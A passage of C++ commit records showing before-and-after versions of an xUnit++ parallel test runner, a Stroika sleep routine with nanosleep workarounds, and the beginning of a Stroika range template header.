int groupId, int groupSize, std::function<void()> test)\r\n : testDetails(testDetails)\r\n , id(id)\r\n , groupId(groupId)\r\n , groupSize(groupSize)\r\n , test(test)\r\n {\r\n }\r\n\r\n TestInstance(const TestInstance &other)\r\n : testDetails(other.testDetails)\r\n , id(other.id)\r\n , groupId(other.groupId)\r\n , groupSize(other.groupSize)\r\n , test(other.test)\r\n {\r\n }\r\n\r\n TestInstance(TestInstance &&other)\r\n {\r\n swap(*this, other);\r\n }\r\n\r\n TestInstance &operator =(TestInstance other)\r\n {\r\n swap(*this, other);\r\n return *this;\r\n }\r\n\r\n friend void swap(TestInstance &ti0, TestInstance &ti1)\r\n {\r\n using std::swap;\r\n\r\n swap(ti0.testDetails, ti1.testDetails);\r\n swap(ti0.id, ti1.id);\r\n swap(ti0.groupId, ti1.groupId);\r\n swap(ti0.groupSize, ti1.groupSize);\r\n swap(ti0.test, ti1.test);\r\n }\r\n\r\n xUnitpp::TestDetails testDetails;\r\n\r\n size_t id;\r\n size_t groupId;\r\n size_t groupSize;\r\n\r\n std::function<void()> test;\r\n };\r\n\r\n ActiveTests(const std::vector<xUnitpp::Fact> &facts, const std::vector<xUnitpp::Theory> &theories, const std::string &suite)\r\n {\r\n size_t id = 0;\r\n size_t groupId = 0;\r\n\r\n for (auto &fact : facts)\r\n {\r\n if (suite == \"\" || fact.TestDetails().Suite == suite)\r\n {\r\n mTests.emplace_back(TestInstance(fact.TestDetails(), ++id, ++groupId, 1, fact.Test()));\r\n }\r\n }\r\n\r\n for (auto &theorySet : theories)\r\n {\r\n if (suite == \"\" || theorySet.TestDetails().Suite == suite)\r\n {\r\n ++groupId;\r\n\r\n for (auto &theory : theorySet.Theories())\r\n {\r\n mTests.emplace_back(TestInstance(theorySet.TestDetails(), ++id, groupId, theorySet.Theories().size(), theory));\r\n }\r\n }\r\n }\r\n\r\n std::shuffle(mTests.begin(), mTests.end(), std::default_random_engine(std::random_device()()));\r\n }\r\n\r\n std::vector<TestInstance>::iterator begin()\r\n {\r\n return mTests.begin();\r\n }\r\n\r\n std::vector<TestInstance>::iterator end()\r\n {\r\n return mTests.end();\r\n }\r\n\r\nprivate:\r\n std::vector<TestInstance> mTests;\r\n};\r\n\r\n}\r\n\r\nnamespace xUnitpp\r\n{\r\n\r\nclass TestRunner::Impl\r\n{\r\npublic:\r\n Impl(std::function<void(const TestDetails &)> onTestStart,\r\n std::function<void(const TestDetails &, const std::string &)> onTestFailure,\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> onTestFinish,\r\n std::function<void(int, int, int, std::chrono::milliseconds)> onAllTestsComplete)\r\n : mOnTestStart(onTestStart)\r\n , mOnTestFailure(onTestFailure)\r\n , mOnTestFinish(onTestFinish)\r\n , mOnAllTestsComplete(onAllTestsComplete)\r\n {\r\n }\r\n\r\n void OnTestStart(const TestDetails &details)\r\n {\r\n std::lock_guard<std::mutex> guard(mStartMtx);\r\n mOnTestStart(details);\r\n }\r\n\r\n void OnTestFailure(const TestDetails &details, const std::string &message)\r\n {\r\n std::lock_guard<std::mutex> guard(mFailureMtx);\r\n mOnTestFailure(details, message);\r\n }\r\n\r\n void OnTestFinish(const TestDetails &details, std::chrono::milliseconds time)\r\n {\r\n std::lock_guard<std::mutex> guard(mFinishMtx);\r\n mOnTestFinish(details, time);\r\n }\r\n\r\n\r\n void OnAllTestsComplete(int total, int skipped, int failed, std::chrono::milliseconds totalTime)\r\n {\r\n mOnAllTestsComplete(total, skipped, failed, totalTime);\r\n }\r\n\r\nprivate:\r\n std::function<void(const TestDetails &)> mOnTestStart;\r\n std::function<void(const TestDetails &, const std::string &)> mOnTestFailure;\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> mOnTestFinish;\r\n std::function<void(int, int, int, std::chrono::milliseconds)> mOnAllTestsComplete;\r\n\r\n std::mutex mStartMtx;\r\n std::mutex mFailureMtx;\r\n std::mutex mFinishMtx;\r\n};\r\n\r\nsize_t RunAllTests(const std::string &suite)\r\n{\r\n return RunAllTests(suite, std::chrono::milliseconds::zero());\r\n}\r\n\r\nsize_t RunAllTests(std::chrono::milliseconds maxTestRunTime)\r\n{\r\n return RunAllTests(\"\", maxTestRunTime);\r\n}\r\n\r\nsize_t RunAllTests(const std::string &suite, std::chrono::milliseconds maxTestRunTime, size_t maxConcurrent)\r\n{\r\n return\r\n TestRunner(&DefaultReporter::ReportStart,\r\n &DefaultReporter::ReportFailure,\r\n &DefaultReporter::ReportFinish,\r\n &DefaultReporter::ReportAllTestsComplete)\r\n .RunTests(TestCollection::Facts(), TestCollection::Theories(), suite, maxTestRunTime, maxConcurrent);\r\n}\r\n\r\nTestRunner::TestRunner(std::function<void(const TestDetails &)> onTestStart,\r\n std::function<void(const TestDetails &, const std::string &)> onTestFailure,\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> onTestFinish,\r\n std::function<void(int, int, int, std::chrono::milliseconds)> onAllTestsComplete)\r\n : mImpl(new Impl(onTestStart, onTestFailure, onTestFinish, onAllTestsComplete))\r\n{\r\n}\r\n\r\nsize_t TestRunner::RunTests(const std::vector<Fact> &facts, const std::vector<Theory> &theories, const std::string &suite, std::chrono::milliseconds maxTestRunTime, size_t maxConcurrent)\r\n{\r\n auto timeStart = std::chrono::system_clock::now();\r\n\r\n ActiveTests activeTests(facts, theories, suite);\r\n\r\n if (maxConcurrent == 0)\r\n {\r\n maxConcurrent = std::numeric_limits<decltype(maxConcurrent)>::max();\r\n }\r\n\r\n class ThreadCounter\r\n {\r\n public:\r\n ThreadCounter(size_t maxThreads)\r\n : maxThreads(maxThreads)\r\n , activeThreads(0)\r\n {\r\n }\r\n\r\n void operator++()\r\n {\r\n std::unique_lock<std::mutex> lock(mtx);\r\n condition.wait(lock, [&]() { return activeThreads < maxThreads; });\r\n\r\n ++activeThreads;\r\n }\r\n\r\n void operator--()\r\n {\r\n std::lock_guard<std::mutex> guard(mtx);\r\n --activeThreads;\r\n }\r\n\r\n private:\r\n size_t maxThreads;\r\n size_t activeThreads;\r\n std::mutex mtx;\r\n std::condition_variable condition;\r\n } threadCounter(maxConcurrent);\r\n\r\n std::atomic<size_t> failedTests = 0;\r\n\r\n std::vector<std::future<void>> futures;\r\n for (auto &test : activeTests)\r\n {\r\n futures.push_back(std::async([&]()\r\n {\r\n struct CounterGuard\r\n {\r\n CounterGuard(ThreadCounter &tc)\r\n : tc(tc)\r\n {\r\n ++tc;\r\n }\r\n\r\n ~CounterGuard()\r\n {\r\n --tc;\r\n }\r\n\r\n private:\r\n ThreadCounter &tc;\r\n } counterGuard(threadCounter);\r\n\r\n auto actualTest = [&](bool reportEnd) -> TimeStamp\r\n {\r\n TimeStamp testStart;\r\n try\r\n {\r\n mImpl->OnTestStart(test.testDetails);\r\n\r\n testStart = Clock::now();\r\n test.test();\r\n }\r\n catch (std::exception &e)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, e.what());\r\n ++failedTests;\r\n }\r\n catch (...)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, \"Unknown exception caught: test has crashed\");\r\n ++failedTests;\r\n }\r\n\r\n if (reportEnd)\r\n {\r\n mImpl->OnTestFinish(test.testDetails, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - testStart));\r\n }\r\n\r\n return testStart;\r\n };\r\n\r\n auto testTimeLimit = test.testDetails.TimeLimit;\r\n if (testTimeLimit < std::chrono::milliseconds::zero())\r\n {\r\n testTimeLimit = maxTestRunTime;\r\n }\r\n\r\n if (testTimeLimit > std::chrono::milliseconds::zero())\r\n {\r\n \/\/\r\n \/\/ note that forcing a test to run in under a certain amount of time is inherently fragile\r\n \/\/ there's no guarantee that a thread, once started, actually gets `maxTestRunTime` milliseconds of CPU\r\n\r\n TimeStamp testStart;\r\n\r\n std::mutex m;\r\n std::unique_lock<std::mutex> gate(m);\r\n\r\n auto threadStarted = std::make_shared<std::condition_variable>();\r\n std::thread timedRunner([&, threadStarted]()\r\n {\r\n m.lock();\r\n m.unlock();\r\n\r\n testStart = actualTest(false);\r\n threadStarted->notify_all();\r\n });\r\n timedRunner.detach();\r\n\r\n if (threadStarted->wait_for(gate, testTimeLimit) == std::cv_status::timeout)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, \"Test failed to complete within \" + std::to_string(testTimeLimit.count()) + \" milliseconds.\");\r\n mImpl->OnTestFinish(test.testDetails, testTimeLimit);\r\n ++failedTests;\r\n }\r\n else\r\n {\r\n mImpl->OnTestFinish(test.testDetails, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - testStart));\r\n }\r\n }\r\n else\r\n {\r\n actualTest(true);\r\n }\r\n }));\r\n }\r\n\r\n for (auto &test : futures)\r\n {\r\n test.get();\r\n }\r\n \r\n mImpl->OnAllTestsComplete(futures.size(), failedTests, 0, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - timeStart));\r\n\r\n return -failedTests;\r\n}\r\n\r\n}\r\n<commit_msg>removing a warning about negating an unsigned<commit_after>#include \"TestRunner.h\"\r\n#include <atomic>\r\n#include <future>\r\n#include <limits>\r\n#include <mutex>\r\n#include <random>\r\n#include <vector>\r\n#include \"DefaultReporter.h\"\r\n#include \"Fact.h\"\r\n#include \"TestCollection.h\"\r\n#include \"TestDetails.h\"\r\n#include \"xUnitAssert.h\"\r\n\r\nnamespace\r\n{\r\n\r\nclass ActiveTests\r\n{\r\npublic:\r\n struct TestInstance\r\n {\r\n TestInstance(const xUnitpp::TestDetails &testDetails, int id, int groupId, int groupSize, std::function<void()> test)\r\n : testDetails(testDetails)\r\n , id(id)\r\n , groupId(groupId)\r\n , groupSize(groupSize)\r\n , test(test)\r\n {\r\n }\r\n\r\n TestInstance(const TestInstance &other)\r\n : testDetails(other.testDetails)\r\n , id(other.id)\r\n , groupId(other.groupId)\r\n , groupSize(other.groupSize)\r\n , test(other.test)\r\n {\r\n }\r\n\r\n TestInstance(TestInstance &&other)\r\n {\r\n swap(*this, other);\r\n }\r\n\r\n TestInstance &operator =(TestInstance other)\r\n {\r\n swap(*this, other);\r\n return *this;\r\n }\r\n\r\n friend void swap(TestInstance &ti0, TestInstance &ti1)\r\n {\r\n using std::swap;\r\n\r\n swap(ti0.testDetails, ti1.testDetails);\r\n swap(ti0.id, ti1.id);\r\n swap(ti0.groupId, ti1.groupId);\r\n swap(ti0.groupSize, ti1.groupSize);\r\n swap(ti0.test, ti1.test);\r\n }\r\n\r\n xUnitpp::TestDetails testDetails;\r\n\r\n size_t id;\r\n size_t groupId;\r\n size_t groupSize;\r\n\r\n std::function<void()> test;\r\n };\r\n\r\n ActiveTests(const std::vector<xUnitpp::Fact> &facts, const std::vector<xUnitpp::Theory> &theories, const std::string &suite)\r\n {\r\n size_t id = 0;\r\n size_t groupId = 0;\r\n\r\n for (auto &fact : facts)\r\n {\r\n if (suite == \"\" || fact.TestDetails().Suite == suite)\r\n {\r\n mTests.emplace_back(TestInstance(fact.TestDetails(), ++id, ++groupId, 1, fact.Test()));\r\n }\r\n }\r\n\r\n for (auto &theorySet : theories)\r\n {\r\n if (suite == \"\" || theorySet.TestDetails().Suite == suite)\r\n {\r\n ++groupId;\r\n\r\n for (auto &theory : theorySet.Theories())\r\n {\r\n mTests.emplace_back(TestInstance(theorySet.TestDetails(), ++id, groupId, theorySet.Theories().size(), theory));\r\n }\r\n }\r\n }\r\n\r\n std::shuffle(mTests.begin(), mTests.end(), std::default_random_engine(std::random_device()()));\r\n }\r\n\r\n std::vector<TestInstance>::iterator begin()\r\n {\r\n return mTests.begin();\r\n }\r\n\r\n std::vector<TestInstance>::iterator end()\r\n {\r\n return mTests.end();\r\n }\r\n\r\nprivate:\r\n std::vector<TestInstance> mTests;\r\n};\r\n\r\n}\r\n\r\nnamespace xUnitpp\r\n{\r\n\r\nclass TestRunner::Impl\r\n{\r\npublic:\r\n Impl(std::function<void(const TestDetails &)> onTestStart,\r\n std::function<void(const TestDetails &, const std::string &)> onTestFailure,\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> onTestFinish,\r\n std::function<void(int, int, int, std::chrono::milliseconds)> onAllTestsComplete)\r\n : mOnTestStart(onTestStart)\r\n , mOnTestFailure(onTestFailure)\r\n , mOnTestFinish(onTestFinish)\r\n , mOnAllTestsComplete(onAllTestsComplete)\r\n {\r\n }\r\n\r\n void OnTestStart(const TestDetails &details)\r\n {\r\n std::lock_guard<std::mutex> guard(mStartMtx);\r\n mOnTestStart(details);\r\n }\r\n\r\n void OnTestFailure(const TestDetails &details, const std::string &message)\r\n {\r\n std::lock_guard<std::mutex> guard(mFailureMtx);\r\n mOnTestFailure(details, message);\r\n }\r\n\r\n void OnTestFinish(const TestDetails &details, std::chrono::milliseconds time)\r\n {\r\n std::lock_guard<std::mutex> guard(mFinishMtx);\r\n mOnTestFinish(details, time);\r\n }\r\n\r\n\r\n void OnAllTestsComplete(int total, int skipped, int failed, std::chrono::milliseconds totalTime)\r\n {\r\n mOnAllTestsComplete(total, skipped, failed, totalTime);\r\n }\r\n\r\nprivate:\r\n std::function<void(const TestDetails &)> mOnTestStart;\r\n std::function<void(const TestDetails &, const std::string &)> mOnTestFailure;\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> mOnTestFinish;\r\n std::function<void(int, int, int, std::chrono::milliseconds)> mOnAllTestsComplete;\r\n\r\n std::mutex mStartMtx;\r\n std::mutex mFailureMtx;\r\n std::mutex mFinishMtx;\r\n};\r\n\r\nsize_t RunAllTests(const std::string &suite)\r\n{\r\n return RunAllTests(suite, std::chrono::milliseconds::zero());\r\n}\r\n\r\nsize_t RunAllTests(std::chrono::milliseconds maxTestRunTime)\r\n{\r\n return RunAllTests(\"\", maxTestRunTime);\r\n}\r\n\r\nsize_t RunAllTests(const std::string &suite, std::chrono::milliseconds maxTestRunTime, size_t maxConcurrent)\r\n{\r\n return\r\n TestRunner(&DefaultReporter::ReportStart,\r\n &DefaultReporter::ReportFailure,\r\n &DefaultReporter::ReportFinish,\r\n &DefaultReporter::ReportAllTestsComplete)\r\n .RunTests(TestCollection::Facts(), TestCollection::Theories(), suite, maxTestRunTime, maxConcurrent);\r\n}\r\n\r\nTestRunner::TestRunner(std::function<void(const TestDetails &)> onTestStart,\r\n std::function<void(const TestDetails &, const std::string &)> onTestFailure,\r\n std::function<void(const TestDetails &, std::chrono::milliseconds)> onTestFinish,\r\n std::function<void(int, int, int, std::chrono::milliseconds)> onAllTestsComplete)\r\n : mImpl(new Impl(onTestStart, onTestFailure, onTestFinish, onAllTestsComplete))\r\n{\r\n}\r\n\r\nsize_t TestRunner::RunTests(const std::vector<Fact> &facts, const std::vector<Theory> &theories, const std::string &suite, std::chrono::milliseconds maxTestRunTime, size_t maxConcurrent)\r\n{\r\n auto timeStart = std::chrono::system_clock::now();\r\n\r\n ActiveTests activeTests(facts, theories, suite);\r\n\r\n if (maxConcurrent == 0)\r\n {\r\n maxConcurrent = std::numeric_limits<decltype(maxConcurrent)>::max();\r\n }\r\n\r\n class ThreadCounter\r\n {\r\n public:\r\n ThreadCounter(size_t maxThreads)\r\n : maxThreads(maxThreads)\r\n , activeThreads(0)\r\n {\r\n }\r\n\r\n void operator++()\r\n {\r\n std::unique_lock<std::mutex> lock(mtx);\r\n condition.wait(lock, [&]() { return activeThreads < maxThreads; });\r\n\r\n ++activeThreads;\r\n }\r\n\r\n void operator--()\r\n {\r\n std::lock_guard<std::mutex> guard(mtx);\r\n --activeThreads;\r\n }\r\n\r\n private:\r\n size_t maxThreads;\r\n size_t activeThreads;\r\n std::mutex mtx;\r\n std::condition_variable condition;\r\n } threadCounter(maxConcurrent);\r\n\r\n std::atomic<int> failedTests = 0;\r\n\r\n std::vector<std::future<void>> futures;\r\n for (auto &test : activeTests)\r\n {\r\n futures.push_back(std::async([&]()\r\n {\r\n struct CounterGuard\r\n {\r\n CounterGuard(ThreadCounter &tc)\r\n : tc(tc)\r\n {\r\n ++tc;\r\n }\r\n\r\n ~CounterGuard()\r\n {\r\n --tc;\r\n }\r\n\r\n private:\r\n ThreadCounter &tc;\r\n } counterGuard(threadCounter);\r\n\r\n auto actualTest = [&](bool reportEnd) -> TimeStamp\r\n {\r\n TimeStamp testStart;\r\n try\r\n {\r\n mImpl->OnTestStart(test.testDetails);\r\n\r\n testStart = Clock::now();\r\n test.test();\r\n }\r\n catch (std::exception &e)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, e.what());\r\n ++failedTests;\r\n }\r\n catch (...)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, \"Unknown exception caught: test has crashed\");\r\n ++failedTests;\r\n }\r\n\r\n if (reportEnd)\r\n {\r\n mImpl->OnTestFinish(test.testDetails, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - testStart));\r\n }\r\n\r\n return testStart;\r\n };\r\n\r\n auto testTimeLimit = test.testDetails.TimeLimit;\r\n if (testTimeLimit < std::chrono::milliseconds::zero())\r\n {\r\n testTimeLimit = maxTestRunTime;\r\n }\r\n\r\n if (testTimeLimit > std::chrono::milliseconds::zero())\r\n {\r\n \/\/\r\n \/\/ note that forcing a test to run in under a certain amount of time is inherently fragile\r\n \/\/ there's no guarantee that a thread, once started, actually gets `maxTestRunTime` milliseconds of CPU\r\n\r\n TimeStamp testStart;\r\n\r\n std::mutex m;\r\n std::unique_lock<std::mutex> gate(m);\r\n\r\n auto threadStarted = std::make_shared<std::condition_variable>();\r\n std::thread timedRunner([&, threadStarted]()\r\n {\r\n m.lock();\r\n m.unlock();\r\n\r\n testStart = actualTest(false);\r\n threadStarted->notify_all();\r\n });\r\n timedRunner.detach();\r\n\r\n if (threadStarted->wait_for(gate, testTimeLimit) == std::cv_status::timeout)\r\n {\r\n mImpl->OnTestFailure(test.testDetails, \"Test failed to complete within \" + std::to_string(testTimeLimit.count()) + \" milliseconds.\");\r\n mImpl->OnTestFinish(test.testDetails, testTimeLimit);\r\n ++failedTests;\r\n }\r\n else\r\n {\r\n mImpl->OnTestFinish(test.testDetails, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - testStart));\r\n }\r\n }\r\n else\r\n {\r\n actualTest(true);\r\n }\r\n }));\r\n }\r\n\r\n for (auto &test : futures)\r\n {\r\n test.get();\r\n }\r\n \r\n mImpl->OnAllTestsComplete(futures.size(), failedTests, 0, std::chrono::duration_cast<std::chrono::milliseconds>(Clock::now() - timeStart));\r\n\r\n return -failedTests;\r\n}\r\n\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2020. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Execution_Sleep_inl_\n#define _Stroika_Foundation_Execution_Sleep_inl_ 1\n\n\/*\n ********************************************************************************\n ***************************** Implementation Details ***************************\n ********************************************************************************\n *\/\n\n#if qPlatform_Windows\n#include <windows.h>\n#elif qPlatform_POSIX\n#include <time.h>\n#include <unistd.h>\n#endif\n\n#include \"..\/Debug\/Assertions.h\"\n\nnamespace Stroika::Foundation::Execution {\n\n \/\/redeclare to avoid having to include Thread code\n void CheckForThreadInterruption ();\n\n \/*\n ********************************************************************************\n ******************************** Execution::Sleep ******************************\n ********************************************************************************\n *\/\n inline void Sleep (Time::DurationSecondsType seconds2Wait, Time::DurationSecondsType* remainingInSleep)\n {\n Require (seconds2Wait >= 0.0);\n RequireNotNull (remainingInSleep); \/\/ else call the over overload\n CheckForThreadInterruption ();\n \/\/ @todo lose if the #if stuff and use just if constexpr (but not working on msvc)\n#if qPlatform_POSIX\n if constexpr (qPlatform_POSIX) {\n const long kNanoSecondsPerSecond = 1000L * 1000L * 1000L;\n timespec ts;\n ts.tv_sec = static_cast<time_t> (seconds2Wait);\n ts.tv_nsec = static_cast<long> (kNanoSecondsPerSecond * (seconds2Wait - ts.tv_sec));\n Assert (0 <= ts.tv_nsec and ts.tv_nsec < kNanoSecondsPerSecond);\n timespec nextTS;\n if (::nanosleep (&ts, &nextTS) == 0) {\n *remainingInSleep = 0;\n }\n else {\n *remainingInSleep = nextTS.tv_sec + static_cast<Time::DurationSecondsType> (ts.tv_nsec) \/ kNanoSecondsPerSecond;\n }\n }\n#elif qPlatform_Windows\n if constexpr (qPlatform_Windows) {\n Time::DurationSecondsType tc = Time::GetTickCount ();\n if (::SleepEx (static_cast<int> (seconds2Wait * 1000), true) == 0) {\n *remainingInSleep = 0;\n }\n else {\n Time::DurationSecondsType remaining = (tc + seconds2Wait) - Time::GetTickCount ();\n if (remaining < 0) {\n remaining = 0;\n }\n *remainingInSleep = remaining;\n }\n }\n#else\n AssertNotImplemented ();\n#endif\n Ensure (*remainingInSleep <= seconds2Wait);\n Ensure (*remainingInSleep >= 0);\n CheckForThreadInterruption ();\n }\n\n \/*\n ********************************************************************************\n *************************** Execution::SleepUntil ******************************\n ********************************************************************************\n *\/\n inline void SleepUntil (Time::DurationSecondsType untilTickCount)\n {\n Time::DurationSecondsType waitMoreSeconds = untilTickCount - Time::GetTickCount ();\n if (waitMoreSeconds <= 0) {\n CheckForThreadInterruption ();\n }\n else {\n Sleep (waitMoreSeconds);\n }\n }\n\n}\n\n#endif \/*_Stroika_Foundation_Execution_Sleep_inl_*\/\n<commit_msg>Execution::Sleep() - WeakAsserts() and workaround for bad values sometimes generated by nanosleep() on linux (under windows WSL - not clarly illegal)<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2020. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Execution_Sleep_inl_\n#define _Stroika_Foundation_Execution_Sleep_inl_ 1\n\n\/*\n ********************************************************************************\n ***************************** Implementation Details ***************************\n ********************************************************************************\n *\/\n\n#if qPlatform_Windows\n#include <windows.h>\n#elif qPlatform_POSIX\n#include <time.h>\n#include <unistd.h>\n#endif\n\n#include \"..\/Debug\/Assertions.h\"\n\nnamespace Stroika::Foundation::Execution {\n\n \/\/redeclare to avoid having to include Thread code\n void CheckForThreadInterruption ();\n\n \/*\n ********************************************************************************\n ******************************** Execution::Sleep ******************************\n ********************************************************************************\n *\/\n inline void Sleep (Time::DurationSecondsType seconds2Wait, Time::DurationSecondsType* remainingInSleep)\n {\n Require (seconds2Wait >= 0.0);\n RequireNotNull (remainingInSleep); \/\/ else call the over overload\n CheckForThreadInterruption ();\n \/\/ @todo lose if the #if stuff and use just if constexpr (but not working on msvc)\n#if qPlatform_POSIX\n if constexpr (qPlatform_POSIX) {\n const long kNanoSecondsPerSecond = 1000L * 1000L * 1000L;\n timespec ts;\n ts.tv_sec = static_cast<time_t> (seconds2Wait);\n ts.tv_nsec = static_cast<long> (kNanoSecondsPerSecond * (seconds2Wait - ts.tv_sec));\n Assert (0 <= ts.tv_sec);\n Assert (0 <= ts.tv_nsec and ts.tv_nsec < kNanoSecondsPerSecond);\n timespec nextTS;\n if (::nanosleep (&ts, &nextTS) == 0) {\n *remainingInSleep = 0;\n }\n else {\n \/\/ https:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/basedefs\/time.h.html doesn't clearly document allowed range for timespec\n \/\/ https:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/nanosleep.html doesn't clearly document allowed range for output timespec\n \/\/ value (can it go negative)\n \/\/ On WSL 1 (WinVer 1909) nextTS sometimes goes negative (or blows up to be very large?), so check)\n WeakAssert (0 <= ts.tv_nsec and ts.tv_nsec < kNanoSecondsPerSecond); \/\/ not sure this should happen? - log for now... -- LGP 2020-05-29\n WeakAssert (nextTS.tv_sec >= 0); \/\/ \"\"\n if ((nextTS.tv_sec < 0) or not(0 <= ts.tv_nsec and ts.tv_nsec < kNanoSecondsPerSecond)) {\n *remainingInSleep = 0;\n }\n else {\n *remainingInSleep = nextTS.tv_sec + static_cast<Time::DurationSecondsType> (ts.tv_nsec) \/ kNanoSecondsPerSecond;\n }\n if (*remainingInSleep <= seconds2Wait) {\n DbgTrace (L\"*remainingInSleep <= seconds2Wait failure: remainingInSleep=%f, seconds2Wait=%f, nextTS.tv_sec=%ld, ts.tv_nsec=%ld, ts.tv_sec=%ld, nextTS.tv_nsec=%ld\", *remainingInSleep, seconds2Wait, nextTS.tv_sec, ts.tv_nsec, ts.tv_sec, nextTS.tv_nsec);\n }\n }\n }\n#elif qPlatform_Windows\n if constexpr (qPlatform_Windows) {\n Time::DurationSecondsType tc = Time::GetTickCount ();\n if (::SleepEx (static_cast<int> (seconds2Wait * 1000), true) == 0) {\n *remainingInSleep = 0;\n }\n else {\n Time::DurationSecondsType remaining = (tc + seconds2Wait) - Time::GetTickCount ();\n if (remaining < 0) {\n remaining = 0;\n }\n *remainingInSleep = remaining;\n }\n }\n#else\n AssertNotImplemented ();\n#endif\n Ensure (*remainingInSleep <= seconds2Wait);\n Ensure (*remainingInSleep >= 0);\n CheckForThreadInterruption ();\n }\n\n \/*\n ********************************************************************************\n *************************** Execution::SleepUntil ******************************\n ********************************************************************************\n *\/\n inline void SleepUntil (Time::DurationSecondsType untilTickCount)\n {\n Time::DurationSecondsType waitMoreSeconds = untilTickCount - Time::GetTickCount ();\n if (waitMoreSeconds <= 0) {\n CheckForThreadInterruption ();\n }\n else {\n Sleep (waitMoreSeconds);\n }\n }\n\n}\n\n#endif \/*_Stroika_Foundation_Execution_Sleep_inl_*\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014. All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_Range_inl_\n#define _Stroika_Foundation_Traversal_Range_inl_\n\n#include \"..\/Debug\/Assertions.h\"\n#include \"..\/Math\/Overlap.h\"\n\n\nnamespace Stroika {\n namespace Foundation {\n namespace Traversal {\n\n\n \/*\n ********************************************************************************\n RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>\n ********************************************************************************\n *\/\n#if qCompilerAndStdLib_constexpr_Buggy\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound = MIN;\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound = MAX;\n#else\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n constexpr T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound;\n template <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n constexpr T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound;\n#endif\n\n\n \/*\n ********************************************************************************\n ****************** RangeTraits::DefaultRangeTraits<T> **************************\n ********************************************************************************\n *\/\n#if qCompilerAndStdLib_constexpr_Buggy\n template <typename T>\n const T RangeTraits::DefaultRangeTraits<T>::kLowerBound = numeric_limits<T>::lowest ();\n template <typename T>\n const T RangeTraits::DefaultRangeTraits<T>::kUpperBound = numeric_limits<T>::max ();\n#else\n template <typename T>\n constexpr T RangeTraits::DefaultRangeTraits<T>::kLowerBound;\n template <typename T>\n constexpr T RangeTraits::DefaultRangeTraits<T>::kUpperBound;\n#endif\n\n\n \/*\n ********************************************************************************\n ***************************** Range<T, TRAITS> *********************************\n ********************************************************************************\n *\/\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range ()\n : Range (TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n#if !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n Ensure (empty ());\n#endif\n }\n template <typename T, typename TRAITS>\n template <typename T2, typename TRAITS2>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const Range<T2, TRAITS>& src)\n : Range (src.GetLowerBound (), src.GetUpperBound (), src.GetLowerBoundOpenness (), src.GetUpperBoundOpenness ())\n {\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (const T& begin, const T& end)\n : Range (begin, end, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n }\n template <typename T, typename TRAITS>\n inline Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end)\n : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n {\n }\n template <typename T, typename TRAITS>\n#if !qCompilerAndStdLib_constexpr_Buggy\n constexpr\n#endif\n inline Range<T, TRAITS>::Range (Openness lhsOpen, Openness rhsOpen)\n : fBegin_ 